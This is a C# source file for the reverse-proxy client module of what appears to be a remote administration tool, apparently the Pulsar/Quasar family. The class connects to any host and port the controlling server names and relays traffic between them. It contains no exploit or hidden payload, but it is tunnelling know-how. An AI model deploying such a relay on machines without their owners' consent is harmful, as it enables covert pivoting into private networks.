using Pulsar.Common.Messages.Administration.ReverseProxy;
using System;
using System.Net;
using System.Net.Sockets;

namespace Pulsar.Client.ReverseProxy
{
    public class ReverseProxyClient
    {
        public const int BUFFER_SIZE = 8192;

        public int ConnectionId { get; private set; }
        public Socket Handle { get; private set; }
        public string Target { get; private set; }
        public int Port { get; private set; }
        public Networking.Client Client { get; private set; }
        private byte[] _buffer;
        private bool _disconnectIsSend;
        private bool _disposed;

        public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client)
        {
            this.ConnectionId = command.ConnectionId;
            this.Target = command.Target;
            this.Port = command.Port;
            this.Client = client;
            this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            //Non-Blocking connect, so there is no need for a extra thread to create
            this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
        }

        private void Handle_Connect(IAsyncResult ar)
        {
            try
            {
                this.Handle.EndConnect(ar);
            }
            catch { }

            if (this.Handle.Connected)
            {
                try
                {
                    this._buffer = new byte[BUFFER_SIZE];
                    this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
                }
                catch
                {
                    Client.Send(new ReverseProxyConnectResponse
                    {
                        ConnectionId = ConnectionId,
                        IsConnected = false,
                        LocalAddress = null,
                        LocalPort = 0,
                        HostName = Target
                    });
                    Disconnect();
                }

                IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
                Client.Send(new ReverseProxyConnectResponse
                {
                    ConnectionId = ConnectionId,
                    IsConnected = true,
                    LocalAddress = localEndPoint.Address.GetAddressBytes(),
                    LocalPort = localEndPoint.Port,
                    HostName = Target
                });
            }
            else
            {
                Client.Send(new ReverseProxyConnectResponse
                {
                    ConnectionId = ConnectionId,
                    IsConnected = false,
                    LocalAddress = null,
                    LocalPort = 0,
                    HostName = Target
                });
            }
        }

        private void AsyncReceive(IAsyncResult ar)
        {
            //Receive here data from e.g. a WebServer

            if (_disposed)
                return;

            try
            {
                int received = Handle.EndReceive(ar);

                if (received <= 0)
                {
                    Disconnect();
                    return;
                }

                byte[] payload = new byte[received];
                Array.Copy(_buffer, payload, received);
                Client.Send(new ReverseProxyData { ConnectionId = ConnectionId, Data = payload });
            }
            catch (ObjectDisposedException)
            {
                // Socket was disposed, ignore
                return;
            }
            catch
            {
                Disconnect();
                return;
            }

            if (_disposed)
                return;

            try
            {
                this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
            }
            catch
            {
                Disconnect();
                return;
            }
        }

        public void Disconnect()
        {
            if (_disposed)
                return;

            _disposed = true;

            if (!_disconnectIsSend)
            {
                _disconnectIsSend = true;
                //send to the Server we've been disconnected
                try
                {
                    Client.Send(new ReverseProxyDisconnect { ConnectionId = ConnectionId });
                }
                catch { }
            }

            try
            {
                Handle.Close();
            }
            catch { }

            Client.RemoveProxyClient(this.ConnectionId);
        }

        public void SendToTargetServer(byte[] data)
        {
            if (_disposed)
                return;

            try
            {
                Handle.Send(data);
            }
            catch { Disconnect(); }
        }
    }
}
